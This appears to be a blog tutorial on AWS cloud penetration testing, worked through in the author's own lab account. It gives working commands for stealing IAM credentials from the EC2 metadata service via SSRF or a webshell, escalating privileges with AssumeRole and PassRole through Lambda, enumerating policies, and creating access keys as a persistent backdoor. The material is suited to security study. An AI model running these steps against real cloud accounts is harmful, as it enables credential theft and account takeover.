Penetration Testing on MentalityXt

AWS Cloud Penetration Testing

Fri, 07 Mar 2025 18:06:00 +0800

Exploiting the EC2 Instance Metadata Service (IMDS)

This is closely tied to IAM. I actually mentioned it in the basics section; exploiting it generally requires something like SSRF or a webshell.

Accessing the following URL from inside EC2 may return temporary credentials. This is essentially a temporary pair of keys that can be used to access every service permitted by the associated permissions.

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

The EC2 Instance Metadata Service (IMDS) runs on this IP and provides:

Instance information (such as instance-id and ami-id)
Network information (such as public-ipv4 and security-groups)
IAM role credentials (the most important part!)
User data (scripts executed when EC2 starts)

As in the basics section, once you have these two keys, you can inspect S3, EC2, and a whole range of other resources. This is a high-severity issue, and the service is enabled by default.

For example:

Request path:

1

curl http://169.254.169.254/latest/meta-data/

Response:

1
2
3
4
5
6
7
8


ami-id
hostname
iam/
instance-id
instance-type
network/
public-ipv4
security-groups

The most dangerous endpoint is:

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Response:

1

AdminRole

Then access:

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

If it returns:

1
2
3
4
5
6


{
 "AccessKeyId": "ASIA...",
 "SecretAccessKey": "....",
 "Token": "....",
 "Expiration": "2025-03-04T00:00:00Z"
}

You have successfully obtained temporary credentials for an AWS IAM role, which can be used with the AWS CLI to perform various operations!

Let’s try it in practice. I’ll start an EC2 instance here; the one used earlier is fine, as long as the endpoint is accessible. The takeaway is that if you find SSRF or get a shell through a web service running on an AWS EC2 instance, you may be able to take control of some of its resources.

Practical AWS Metadata Service Exploitation

AWS uses IMDSv1 by default (it can be accessed directly with curl), but AWS allows administrators to enable IMDSv2, which requires you to:

First obtain a temporary token
Use that token for subsequent requests

Check whether IMDSv2 is enabled

1

curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

Normally, using curl directly is enough. As mentioned above, however, if IMDSv2 is enabled, you first need to obtain a token and then use it to request the metadata, as shown below.

Receiving a token means that IMDSv2 is enabled, and you must use this token to access the metadata.

Once you have the token, you simply add it in a request header. Following the steps above, add the token to the request:

1

curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

If you are working through SSRF or a non-interactive webshell, this kind of variable may not work, so you can simply copy and paste the value yourself. For this exercise, setting a variable is more convenient.

1
2


TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

It worked, but no IAM role is attached, so an IAM role must be attached before credentials can be retrieved. The AWS basics section covered some of the process for attaching an IAM role to EC2, but did not spend much time on how it works. Suppose we have an EC2 instance that needs to access an S3 bucket. It might be running a web service that needs to move locally stored files into the bucket, write data to the bucket, or back up the website to the bucket every day. Those are all backend details; the point is that this EC2 instance needs to access S3.

Normally, couldn’t we just create a user, obtain its two keys, and use those to access the S3 bucket? To reduce the risk, we could grant that user only S3 permissions. This is convenient, but it has few advantages and many drawbacks. First, if an attacker gets a webshell and finds the keys, they can retain long-term access to S3. Second, if access to other services is needed, manually rotating keys becomes costly and requires people to interact with APIs, among other drawbacks. The only advantage is that SSRF cannot read the keys; the disadvantage is that an arbitrary file-read vulnerability can.

With an attached role, you simply attach whatever permissions are needed and can leave the role attached. One advantage is that the keys are valid for only one hour. Once the vulnerability is fixed, an attacker cannot maintain long-term control over S3. You might think that calling S3 and other services from EC2 would still require obtaining a token and then requesting temporary credentials through the API, which sounds troublesome. In practice, the AWS CLI automatically retrieves the credentials and related information when you make an S3 request, so no additional steps are needed. The drawback is that SSRF can read them. Now let’s put this into practice.

Attaching an IAM Role to EC2

Select the role you just created and update the instance. Next, let’s look at the buckets.

No problems here: there is one bucket for storing logs and another bucket created while learning the basics. Both can be accessed directly.

The environment is ready. Next, here are the EC2 metadata service endpoints. We already covered the ordinary commands earlier, so there is no need to repeat that process. The main scenarios here are webshells and SSRF.

Important EC2 Metadata Service Endpoints

For this exercise, let’s generate the token first.

1

TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

EC2 metadata lives under http://169.254.169.254/latest/meta-data/ and all key information can be retrieved from there.

Endpoint	Purpose	IMDS v1	IMDS v2
`/latest/meta-data/`	Retrieve the directory of all available metadata	`curl http://169.254.169.254/latest/meta-data/`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/`
`/latest/meta-data/iam/security-credentials/`	List IAM role names	`curl http://169.254.169.254/latest/meta-data/iam/security-credentials/`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/`
`/latest/meta-data/iam/security-credentials/{role-name}`	Retrieve temporary credentials for an IAM role	`curl http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}`
`/latest/meta-data/instance-id`	Retrieve the instance ID	`curl http://169.254.169.254/latest/meta-data/instance-id`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id`
`/latest/meta-data/public-ipv4`	Retrieve the instance’s public IP	`curl http://169.254.169.254/latest/meta-data/public-ipv4`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/public-ipv4`
`/latest/meta-data/local-ipv4`	Retrieve the instance’s private IP	`curl http://169.254.169.254/latest/meta-data/local-ipv4`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/local-ipv4`
`/latest/meta-data/mac`	Retrieve the instance’s MAC address	`curl http://169.254.169.254/latest/meta-data/mac`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/mac`
`/latest/meta-data/network/interfaces/macs/{mac}/vpc-id`	Retrieve the VPC ID	`curl http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-id`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-id`

Everything works. If you are interested in the other endpoints, you can test them yourself.

IAM Penetration Testing (Role Switching & Permission Abuse)

In AWS cloud penetration testing, many AWS resources (EC2, Lambda) have an IAM role attached by default, but these roles usually have minimal permissions.

However, some IAM roles may be able to Assume (take on) a more privileged role! If an attacker finds one of these roles, they can gain a higher level of access, or even become an AWS administrator.

IAM penetration testing mainly involves four core techniques:

sts:AssumeRole role switching → gain higher privileges
iam:PassRole permission abuse → bypass access controls
iam:GetPolicyVersion policy reading → find permissions that can be abused
iam:CreateAccessKey creating a new key → maintain persistent control over an AWS account

Role Switching with sts:AssumeRole

Theory

AssumeRole allows one IAM role to “become” another IAM role
This means a low-privileged user may be able to switch to a high-privileged one
If an attacker can find a high-privileged role that can be assumed, they can use it to escalate their privileges!

1

aws sts assume-role --role-arn "arn:aws:iam::123456789012:role/AdminRole" --role-session-name attacker-session

If it succeeds, AWS returns a new set of temporary credentials:

1
2
3
4
5
6
7
8


{
 "Credentials": {
 "AccessKeyId": "ASIA...",
 "SecretAccessKey": "SECRET...",
 "SessionToken": "TOKEN...",
 "Expiration": "2025-03-04T00:00:00Z"
 }
}

In AWS, AssumeRole allows one IAM role to “become” another IAM role.

🔹 Why is this important?

AWS does not let ordinary users access the Administrator role directly, but some IAM roles can Assume (switch to) a more privileged role.
If your role has sts:AssumeRole permission, you can “become” an administrator!

🔹 How does it work?

A low-privileged role (your current EC2S3AccessRole) requests AssumeRole, and AWS returns a set of temporary credentials.
With these new credentials, you can become a more privileged IAM role and access restricted resources.

That is the theoretical framework. To put the idea in order: if you have sts:AssumeRole permission, you can switch to an administrator role. But what if the current user does not have sts:AssumeRole permission? You need to find an IAM role that does, and that role must trust the IAM identity you currently hold before you can switch to it. Next, let’s build the lab.

Make sure you read this part: it is a little complicated, and I only spotted the problem toward the end of reproducing it. Having sts:AssumeRole permission alone does not let you switch to any user you like. The prerequisite is that the high-privileged role trusts the low-privileged role and the low-privileged role has sts:AssumeRole permission. That permission merely allows you to switch roles, nothing more. It is a bit like Linux: you first need permission to use su, and the other user also needs to let you use su without a password. It is a little awkward, so I reworked the lab setup tutorial below.

Lab Setup

Add permissions to the previously created EC2S3AccessRole so it can list roles and inspect trust relationships. This lets EC2S3AccessRole find out which roles trust it. Then give it sts:AssumeRole permission so it has the equivalent of an su capability.

EC2S3AccessRole needs permission to list roles. Without it, the role will not know who trusts it, will not be able to find the ARN, and will not be able to switch to a role that both trusts it and can be assumed through sts:AssumeRole.

The steps are as follows:

Search for IAM in the relevant section, then select ListRoles and GetRole. You can also use the JSON editor on the right; entering the configuration below there works just as well.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


{
	"Version": "2012-10-17",
	"Statement": [
		{
			"Sid": "VisualEditor0",
			"Effect": "Allow",
			"Action": "iam:GetRole",
			"Resource": "arn:aws:iam::6502*******:role/*"
		},
		{
			"Sid": "VisualEditor1",
			"Effect": "Allow",
			"Action": "iam:ListRoles",
			"Resource": "*"
		}
	]
}

1

aws iam list-roles

Back on EC2, the test works without any problems. The current EC2S3AccessRole can now view IAM roles.

Next, attach sts:AssumeRole permission to EC2S3AccessRole

Follow the same steps as before and continue with an inline policy.

Let me explain the Resource section (outlined in red) in a little more detail. It is fairly interesting if you want to take a look (the same option appeared above as well).

If you select all resources, you can attempt to switch to any role in AWS, including roles in any AWS account. The prerequisite is still that the other role trusts you. As long as its trust policy contains the ARN for this account, you can switch to it across accounts. This is commonly used by enterprises with multiple AWS accounts. If you choose specific resources, you can click the option to add an ARN and make your selection.

As mentioned above, selecting all resources imposes no restriction. This option adds one by limiting access to a single AWS account. In other words, you can only switch to roles in the AWS account you specify that trust you. Even if a role in another account trusts you, you still cannot switch to it unless you remove this restriction. You could think of it as a kind of two-way authentication.

Just add it directly and select all paths for the current ARN resource.

The two policies are now ready. We still need to create a role. To make the privilege escalation obvious, give the new role permissions such as AdministratorAccess and configure it to trust EC2S3AccessRole.

At this point, we can create the role. One detail is worth mentioning: when we selected the trusted entity at the beginning, we chose the current account. As a result, the new PrivilegeTest role trusts every role in our account. Our original goal, however, was to trust only EC2S3AccessRole. To do that, use the policy below, insert its ARN, and edit the trust policy to replace the original one.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


{
 "Version": "2012-10-17",
 "Statement": [
 {
 "Effect": "Allow",
 "Principal": {
 "AWS": "arn:aws:iam::650251******:role/EC2S3AccessRole"
 },
 "Action": "sts:AssumeRole"
 }
 ]
}

The lab environment is now fully set up.

Reproduction and Verification

Next, we will reproduce one attack chain. There are many ways to do this overall, so we will walk through one of them to demonstrate the principle.

1
2
3
4
5


aws iam list-roles
aws iam list-roles --query "Roles[*].Arn"

# The text after --query is the query syntax; compare these two outputs to understand it
aws iam list-roles --query "Roles[*].RoleName"

We found a whole list of roles. You may have plenty of questions at this point, but keep reading and I will explain them later. For now, the goal is simply to become familiar with this workflow.

We already know that PrivilegeTest is the role that trusts our current role (EC2S3AccessRole), so let’s print its ARN.

1
2
3
4


aws iam list-roles --query "Roles[?RoleName=='PrivilegeTest'].Arn"
aws iam list-roles --query "Roles[?RoleName=='PrivilegeTest'].Arn" --output text

# This rule is also worth studying

We now have the ARN. Although we already know that this role trusts us, we should still verify it.

1

aws iam get-role --role-name PrivilegeTest --query "Role.AssumeRolePolicyDocument"

No problem—it does indeed trust us. We can now try to obtain the two keys for this high-privileged role.

1

aws sts assume-role --role-arn "arn:aws:iam::6502********:role/PrivilegeTest" --role-session-name test-session

That works. We can write these credentials directly with the AWS CLI. There are many other ways to do this, but we cannot use the method from the beginning because it cannot store the token, which leaves the credentials unusable. The method below is probably the quickest and most convenient.

1
2
3
4


aws configure set aws_access_key_id "ASIAxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_secret_access_key "xxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_session_token "xxxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set region "us-east-2" --profile privileged-session

Once the values have been entered, simply verify the current identity. I will not run any other commands.

1

aws sts get-caller-identity --profile privileged-session

No problem—the switch succeeded. From here, you could inspect the current permissions and then do whatever else you need to do.

Additional Notes

This is also the most troublesome part. Now that the workflow is clear, let me go over it once more. When we first obtain credentials for a role, whether through IMDS or some other method, the first thing to try if its permissions are too limited is privilege escalation.

First, use the current role and xxxx to query the names and ARNs of all roles with xxxx. Then use xxxx to find which roles trust you, and finally use xxxx to switch to an xxxx role that trusts you.

I highlighted the key steps above. The first issue is listing all roles. As we saw while setting up the lab, we gave the current role permission to do this. But what if it does not have that permission? There are actually many other methods, but they rely on other permissions (one way or another, you need permissions). This method is relatively simple, which is why we granted it permission to list all roles. Second, once it can list everything, we still need to see which roles trust us. That is why we also granted permission to retrieve policies, allowing us to inspect the trust policies of other roles. Third, we gave it sts:AssumeRole permission so it could actually switch roles.

The most important step is listing all roles. You need to determine not only whether a role is highly privileged, but also whether it trusts the current role. Every piece of information you can think of has a corresponding permission that must be enabled before you can view it.

To inspect attached permission policies, you need iam list-attached-role-policies. To inspect inline policies, you need iam list-role-policies. Without those permissions, you cannot do anything. This additional section is the most important part: its main purpose is to show how to use whatever partial permissions are available to complete the attack chain.

Commands Required for the Workflow

Command	Purpose	Required Permission
`aws sts get-caller-identity`	Get the current identity (determine whether it is an IAM user or IAM role)	No permission required (available by default to all AWS accounts)
`aws iam list-roles`	List the names and ARNs of all IAM roles in the current AWS account	`iam:ListRoles`
`aws iam list-users`	List all IAM users (username + ARN)	`iam:ListUsers`
`aws iam get-user`	Get detailed information about the current IAM user (username + ARN)	`iam:GetUser`
`aws iam get-role --role-name <ROLE_NAME>`	Get detailed information about a specified role (including its trust policy)	`iam:GetRole`
`aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess`	See which IAM users/roles have administrator permissions attached	`iam:ListEntitiesForPolicy`
`aws iam list-attached-role-policies --role-name <ROLE_NAME>`	Get the attached managed policies for a specified role	`iam:ListAttachedRolePolicies`
`aws iam list-role-policies --role-name <ROLE_NAME>`	Get the inline policies for a specified role	`iam:ListRolePolicies`
`aws iam get-role-policy --role-name <ROLE_NAME> --policy-name <POLICY_NAME>`	View the full details of a specified role’s inline policy	`iam:GetRolePolicy`
`aws iam get-policy --policy-arn <POLICY_ARN>`	View information about a specified managed policy	`iam:GetPolicy`
`aws iam get-policy-version --policy-arn <POLICY_ARN> --version-id v1`	Get the detailed permissions in a specified managed policy version	`iam:GetPolicyVersion`
`aws sts assume-role --role-arn "arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>" --role-session-name my-session`	Switch to the target role (the target role must trust the current identity)	`sts:AssumeRole`
`aws sts get-session-token`	Get temporary MFA-based credentials (used to increase privileges)	`sts:GetSessionToken`
`aws sts decode-authorization-message --encoded-message <ENCODED_MESSAGE>`	Decode the detailed information in an `AccessDenied` error	`sts:DecodeAuthorizationMessage`

Abusing the iam:PassRole Permission

Theory

How it works:

PassRole lets you assign an IAM role to an AWS resource (such as EC2 or Lambda).
But you cannot Assume that role yourself. You can only let an AWS resource use it.
If that AWS resource can perform privileged operations (such as reading and writing S3 or operating EC2), you can use it to obtain elevated privileges indirectly.

Approaches:

Attach a privileged role to Lambda (the common approach)

We have the iam:PassRole permission and can create / update Lambda functions.
We create a Lambda function and attach the privileged role to it, then have Lambda execute commands.

Attach the privileged role to Lambda / EC2 (rare, but possible)

If the target privileged IAM role can modify AWS resources (EC2 / Lambda), it can be steered into executing malicious code.
This is relatively uncommon. It mainly happens when an administrator’s misconfiguration lets you control an AWS resource associated with a privileged role.

Prerequisite: you have one of the following permissions

Permission	Purpose
`iam:PassRole`	Lets you attach an IAM role to Lambda / EC2 (prerequisite permission; required)
`lambda:CreateFunction`	Lets you create a new Lambda function (assign the privileged role when creating it; choose one of these two)
`lambda:UpdateFunctionConfiguration`	Lets you change the IAM role of an existing Lambda function (choose one of these two)
`lambda:InvokeFunction`	Lets you invoke Lambda (if you changed the Lambda code, you also need to be able to call it; required)
`lambda:ListFunctions`	Lets you list existing Lambda functions (if you want to modify one, you first need to be able to see it; required)
`ec2:RunInstances`	Lets you create a new EC2 instance (assign the privileged role when creating it)
`ec2:ModifyInstanceAttribute`	Lets you change the IAM role of an existing EC2 instance
`ec2:StartInstances`	Lets you start a stopped EC2 instance (if it already has a privileged role)

Let me explain this part. When you create a role, you can choose a service such as Lambda or EC2. The EC2S3AccessRole we used earlier was created by choosing EC2, so it is a role with full EC2 permissions. EC2 was already selected when the role was created. If iam:PassRole is then attached, this part of the exploit becomes possible. That is the basic idea. Of course, this is only one scenario; the point is simply to understand the concept. In practice, you still need the permissions listed above—for example, iam:PassRole plus the four Lambda permissions, or iam:PassRole plus the three EC2 permissions. Either combination can work.

The main flow is to list all Lambda functions (lambda:ListFunctions), create or reconfigure a Lambda function (lambda:CreateFunction/lambda:UpdateFunctionConfiguration), use iam:PassRole to attach the privileged role, supply the Lambda code—which can usually be prepared as part of creation—and then run it (lambda:InvokeFunction) to complete the attack.

Lab Setup

We need a privileged role that trusts the Lambda service. I will target this role shortly.

Let’s verify that this account is usable and talk a little about how Lambda works. Lambda requires a role to be attached. If no suitable role exists when you create a Lambda function, AWS will automatically generate one for you. The role we just created is suitable: first, it trusts the Lambda service; second, it has the administratoraccess permission, which includes all Lambda permissions.

How do we verify that? Go to Lambda, create a function, and choose an existing role. Only suitable roles will appear here.

The second one is the role we created. So where did the first one come from? When I was learning the basics in the AWS fundamentals section and did not understand this yet, I chose the option above to create a new role with basic Lambda permissions, and AWS created it automatically. We can inspect the role to see which permissions it has: MyFirstFunction-role-ox8lckqa.

As you can see, it only trusts the Lambda service. It also has a custom policy, mainly for Amazon CloudWatch Logs permissions. That matches the description.

The role we want to escalate to is ready. We also need either an account with Lambda permissions / a role we can access. Either one works. Add the crucial iam:PassRole permission, and the low-privileged user / role is configured.

You can think through the considerations here yourself, including which option is more convenient. Doing so helps deepen your understanding of these services and makes the architecture and underlying mechanism clearer. For this demonstration, and to revisit what we learned earlier, I will choose a role we can access.

Create it, then grant the key permission, iam:PassRole.

That completes the setup. Let’s organize the current idea. We have a privileged role that trusts Lambda, plus a low-privileged role under our control that only has Lambda and iam:PassRole permissions. The low-privileged role can use its Lambda permissions to create a function, while iam:PassRole lets us designate the privileged role as that function’s execution role. Once we assign the privileged role that trusts Lambda as the execution role of our function, any Lambda code we upload runs as that privileged role. That is the whole principle.

Reproduction and Verification

Remember the EC2S3AccessRole account? It has permission to switch roles. We could also use the account with administratoraccess permissions that we created earlier; either is fine. What matters here is that we control an account with Lambda permissions and that the account also has the iam:PassRole permission.

Find the ARN of the newly created low-privileged role, LambdaTest.

1

aws sts assume-role --role-arn arn:aws:iam::65025******:role/LambdaTest --role-session-name ExploitSession

No problems. I am still using the credential import method from the previous section because it is simpler. The other methods are a little more troublesome, so I will skip them.

1
2
3
4


aws configure set aws_access_key_id "ASIAxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_secret_access_key "xxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_session_token "xxxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set region "us-east-2" --profile privileged-session

Once these are set, the commands can run anywhere as long as AwsCli is available.

The command works. The result is empty because I deleted all the Lambda functions. (The boto3 library used by Lambda functions is something I definitely need to learn. I am fairly comfortable with python, so I will dedicate a separate section to boto3 later.) Just follow the upload steps from the fundamentals section.

Build the python POC code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


import json
import boto3

def lambda_handler(event, context):
 client = boto3.client('s3')
 response = client.list_buckets()

 for bucket in response["Buckets"]:
 bucket["CreationDate"] = bucket["CreationDate"].isoformat()

 return {
 'statusCode': 200,
 'body': json.dumps(response)
 }

Compress the code. Any method is fine as long as it produces the archive.

1

zip function.zip lambda_function.py

Create the function.

1
2
3
4
5
6
7
8


aws lambda create-function \
 --function-name testLambda \
 --runtime python3.9 \
 --role arn:aws:iam::<ACCOUNT_ID>:role/<HIGH_PRIV_ROLE> \
 --handler lambda_function.lambda_handler \
 --zip-file fileb://function.zip

aws lambda create-function --function-name testLambda --runtime python3.9 --role arn:aws:iam::<ACCOUNT_ID>:role/<HIGH_PRIV_ROLE> --handler lambda_function.lambda_handler --zip-file fileb://function.zip

There was a small detour here. Yesterday, I tried for a long time and kept failing (it worked today), with an error claiming something was wrong with the token. While asking GPT, I analyzed it myself too. The explanation that best matched my situation was that old temporary STS credentials were still being used. If your AWS CLI previously used expired or underprivileged temporary STS credentials, the CLI will keep using the old Token even after you change the IAM role’s permissions in the AWS console, causing permission problems. I used many temporary STS credentials during testing. After noticing the problem, I granted the permissions again, but I kept getting the following error.

An error occurred (UnrecognizedClientException) when calling the CreateFunction operation: The security token included in the request is invalid.

Today, the configured token—which was valid for one hour—had probably expired and been discarded. Everything returned to normal after I generated a new key and token. GPT also suggested the following fix, which I did not use yesterday.

1

aws sts assume-role --role-arn arn:aws:iam::6502******:role/LambdaTest --role-session-name DebugSession

You can give it a try. In any case, it worked today, and the upload succeeded.

No problems. We can test it in the web interface to see whether it runs, while also using AWSCLI to verify whether it can access S3.

1

aws lambda invoke --function-name testLambda --payload "{\"key1\": \"value1\", \"key2\": \"value2\"}" response.json --cli-binary-format raw-in-base64-out

No problems. It did indeed enumerate the resources, completing the attack chain.

Additional Notes

The key exploitation chain should be clear now, but there is one more especially important point: Lambda functions support multiple languages.

If you are comfortable with one of these languages, you will notice that it imports a library when you inspect it. python, for example, has the boto3 library. Obviously, accessing resources is generally done through calls made with boto3. The code above can only access S3 and does nothing else, so I will eventually need to learn how to write Lambda code—in other words, learn the boto3 library. That topic needs a separate section of its own later. For now, this reproduction is complete, so I will stop here.

Reading Policies with iam:GetPolicyVersion

Theory

If you can call iam:GetPolicyVersion, you can inspect every permission in a policy and may uncover highly privileged policies that can be abused. The previous two techniques both involved abusable high-privilege policies; here, the main point is simply to read those policies and inspect them. What matters is knowing how to analyze and retrieve them. The logic here may be a little questionable. The idea is that you find a policy attached to a role, and that role is under your control. (I tested this as a user and couldn’t query it.)

Lab Setup

You can reuse the environments from the previous two sections. As for the iam:GetPolicyVersion permission we need, you can try creating it yourself. The main permissions required are these:

1
2
3


iam list-policies (list all managed policies in the account)
iam get-policy (query the default version of a policy)
iam GetPolicyVersion (most important) (read the policy details)

I’ll just test this directly with an administrator account.

Listing All Managed Policies in the Account

Goal: Find every Managed Policy in the AWS account.

1

aws iam list-policies --query "Policies[*].{PolicyName:PolicyName, Arn:Arn}"

Example response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


[
 {
 "PolicyName": "AdministratorAccess",
 "Arn": "arn:aws:iam::aws:policy/AdministratorAccess"
 },
 {
 "PolicyName": "S3FullAccess",
 "Arn": "arn:aws:iam::aws:policy/S3FullAccess"
 }
]

This shows every policy in the current AWS account, including:

Highly privileged policies (such as AdministratorAccess)
Potentially abusable policies (those granting permissions such as PassRole or CreateUser)

Querying a Policy’s `Default Version`

Goal: Find a policy’s VersionId, then use GetPolicyVersion to retrieve its exact permissions.

1

aws iam get-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Example response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


{
 "Policy": {
 "PolicyName": "AdministratorAccess",
 "Arn": "arn:aws:iam::aws:policy/AdministratorAccess",
 "DefaultVersionId": "v1",
 "AttachmentCount": 10,
 "PermissionsBoundaryUsageCount": 0,
 "IsAttachable": true
 }
}

Key point: DefaultVersionId is v1. This v1 is the policy version currently in effect.

Reading the Full Policy Document

Goal: Use iam:GetPolicyVersion to read the policy permissions and look for permissions that can be abused.

1

aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id v1

Example response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


{
 "PolicyVersion": {
 "Document": {
 "Statement": [
 {
 "Effect": "Allow",
 "Action": "*",
 "Resource": "*"
 }
 ]
 },
 "VersionId": "v1",
 "IsDefaultVersion": true
 }
}

If Action: "*" and Resource: "*" are present, this is an AdministratorAccess policy, which provides full control over the AWS account.

Run through the entire process above, because things get a little more complicated later. The theory section already covered this: the technique is mainly useful after you know which policy is attached to a role you control. If you don’t know which policies are attached to your controllable roles, querying this is completely useless.

Next, let’s introduce six important permissions that work with iam:GetPolicyVersion.

Querying Policies Attached to a User

Managed policies:

1

aws iam list-attached-user-policies --user-name <USERNAME>

Required permission: iam:ListAttachedUserPolicies

Example output:

1
2
3
4
5
6
7
8


{
 "AttachedPolicies": [
 {
 "PolicyName": "AdminPolicy",
 "PolicyArn": "arn:aws:iam::123456789012:policy/AdminPolicy"
 }
 ]
}

Inline policies:

1

aws iam list-user-policies --user-name <USERNAME>

Required permission: iam:ListUserPolicies

Example output:

1
2
3


{
 "PolicyNames": ["InlinePolicyForUser"]
}

Querying Policies Attached to a Role

Managed policies:

1

aws iam list-attached-role-policies --role-name <ROLE_NAME>

Required permission: iam:ListAttachedRolePolicies

Inline policies:

1

aws iam list-role-policies --role-name <ROLE_NAME>

Required permission: iam:ListRolePolicies

Querying Policies Attached to a Group

Managed policies:

1

aws iam list-attached-group-policies --group-name <GROUP_NAME>

Required permission: iam:ListAttachedGroupPolicies

Inline policies:

1

aws iam list-group-policies --group-name <GROUP_NAME>

Required permission: iam:ListGroupPolicies

Reproduction and Verification

The next part is fairly simple. We just need to query EC2S3AccessRole and take a look.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


C:\Users\xxxxxx>aws iam list-attached-role-policies --role-name EC2S3AccessRole
{
 "AttachedPolicies": [
 {
 "PolicyName": "AmazonS3ReadOnlyAccess",
 "PolicyArn": "arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess"
 },
 {
 "PolicyName": "AmazonS3FullAccess",
 "PolicyArn": "arn:aws:iam::aws:policy/AmazonS3FullAccess"
 },
 {
 "PolicyName": "AWSLambda_FullAccess",
 "PolicyArn": "arn:aws:iam::aws:policy/AWSLambda_FullAccess"
 }
 ]
}

C:\Users\xxxxxx>aws iam list-role-policies --role-name EC2S3AccessRole
{
 "PolicyNames": [
 "AssumeRole",
 "ListRoles"
 ]
}

Now we can see all its permissions, which raises a question. Anyone can tell what the three managed policies above do. They’re all standard policies, and we already know their exact permissions. Why insist on reading the policy document with iam:GetPolicyVersion? And why do these three permissions specifically need to be used together? iam list-policies (lists all managed policies in the account) iam get-policy (queries a policy’s default version) iam GetPolicyVersion (the most important one; reads the full policy document) Isn’t that just extra work? I had serious doubts about it too. In practice, though, this permission is still quite dangerous. The exact attack chain depends on the environment. It primarily matters for custom policies. What if the three managed policies found above were not standard AWS policies? You wouldn’t be able to confirm what permissions they grant. With iam:GetPolicyVersion, you can read them and find out exactly what they allow. If the policy contains any of the permissions in the table below, there is a lot you can do with it.

Abusable Permission	Risk
`iam:PassRole`	Allows a highly privileged role to be attached to Lambda / EC2 for privilege escalation
`sts:AssumeRole`	Allows switching to a highly privileged role
`iam:CreateUser`	Allows creating a new IAM user as a persistent backdoor
`iam:AttachUserPolicy`	Allows attaching administrator privileges to a low-privilege user
`iam:CreateAccessKey`	Allows creating access keys for other users
`lambda:UpdateFunctionCode`	Allows modifying Lambda code to introduce malicious operations

This attack chain assumes you know that a role has a particular custom managed policy attached, then inspect how that managed policy is actually written. The next question is: what do the other two of these three permissions have to do with it, and why mention them at all? iam list-policies (lists all managed policies in the account) iam get-policy (queries a policy’s default version) iam GetPolicyVersion (the most important one; reads the full policy document) We can use the first command to find every policy. If we discover a nonstandard custom managed policy, we check its version, retrieve the full document for its default version, and then use the custom policy to work out who it may have been assigned to—in other words, who has been granted that custom policy. We could even build a PoC that iterates over every role, or use the permission below to find the answer directly.

Goal: Determine which users, roles, or groups the policy is attached to. Required permission: iam:ListEntitiesForPolicy (lists the entities to which the policy is attached). Command:

1

aws iam list-entities-for-policy --policy-arn arn:aws:iam::123456789012:policy/AdminPolicy

1
2
3
4
5


{
 "PolicyGroups": [],
 "PolicyUsers": [{"UserName": "BackdoorUser"}],
 "PolicyRoles": [{"RoleName": "AdminRole"}]
}

At this point, we can identify the target role. If we have permission to use that role—or query its trust policy with get-role—we can then use arn:aws:iam::123456789012:policy/AdminPolicy.

That brings us right back to switching roles with sts:AssumeRole. This is the complete attack chain.

Additional Notes

It may look a little complicated, but this is still a high-risk permission. It lets you read many policies, even if some of the possible uses feel a bit underwhelming. Some companies may define a whole pile of custom policies. AWS has taken the permission model about as far as it can go, but a single policy mistake by an administrator can still open the door to an attacker.

iam:CreateAccessKey: Creating a New Access Key

Theory

An Access Key is an AWS account credential, equivalent to the username and password for the root account.

With iam:CreateAccessKey, an attacker can create a new Access Key for themselves. Even if the original credentials are revoked, the attacker can still access AWS resources.

This is a persistence technique that lets an attacker retain access over the long term after gaining initial access to an AWS account, even if an administrator deletes the original credentials.

This one is fairly easy to understand. Once we obtain the target user’s permissions somehow—note that I mean user permissions, not role permissions, because roles only have short-lived keys while users can have long-lived keys—we just generate a new access key.

Setting Up the Environment

Just create a user with the iam:CreateAccessKey permission. We can delete it later.

I won’t go into every detail here. In short, create a user with nothing else configured, give it a name, and then go to its inline policies.

That’s all we need.

Next, create an access key.

Then just keep clicking Next until you’re done. Now add it to the AWS CLI configuration.

1

aws configure

All set. Let’s reproduce it.

Reproduction and Verification

1
2


aws iam create-access-key --user-name <target-user>
aws iam create-access-key --user-name test

